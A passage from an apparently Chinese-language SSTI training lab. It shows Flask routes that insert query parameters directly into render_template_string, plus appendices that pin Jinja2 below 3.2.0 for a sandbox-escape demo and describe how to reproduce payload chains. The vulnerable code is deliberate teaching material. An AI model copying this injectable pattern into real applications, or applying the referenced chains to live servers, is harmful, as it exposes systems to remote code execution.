@app.route('/level4/search')
def level4_search():
    q = request.args.get('q', '')
    return render_template_string(f'''
        <h2>搜索结果: {q}</h2>
        <table border="1">
        <tr><th>ID</th><th>用户名</th><th>邮箱</th></tr>
        <tr><td>1</td><td>admin</td><td>admin@example.com</td></tr>
        </table>
    ''')

@app.route('/level5')
def level5():
    name = request.args.get('name', 'world')
    return render_template_string(f'<h1>Hello {name}!</h1>')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5020, debug=False)

📎 附录B:requirements.txt

flask>=3.0.0
jinja2<3.2.0

注意:Level 3 沙箱演示需要 Jinja2 < 3.2.0。Jinja2 3.2.0 修复了 CVE-2025-14832,_UNSAFE_ATTRIBUTES 黑名单覆盖了 globals/class/mro/subclasses,沙箱环境将拦截所有操作。如需体验沙箱限制测试,请降级 Jinja2。

📎 附录C:复现声明

本文所有 payload 已在以下环境验证(100% 复现成功率):

环境

版本

系统

Ubuntu 22.04 LTS(Linux 5.15.0)

Python

3.10.12

Flask

3.1.3

Jinja2

3.1.6(沙箱演示需 < 3.2.0)

一键运行方式:

pip install -r requirements.txt
python app.py

不同 Python 版本下 object.__subclasses__() 返回的子类数量不同:Python 3.10.12 上为 489 个,Python 3.14+ 上约 278 个。payload 中的子类索引需根据实际环境动态搜索,不要写死索引值。如遇到链 C 的管道语法报错,将 [1] 替换为 |last 即可。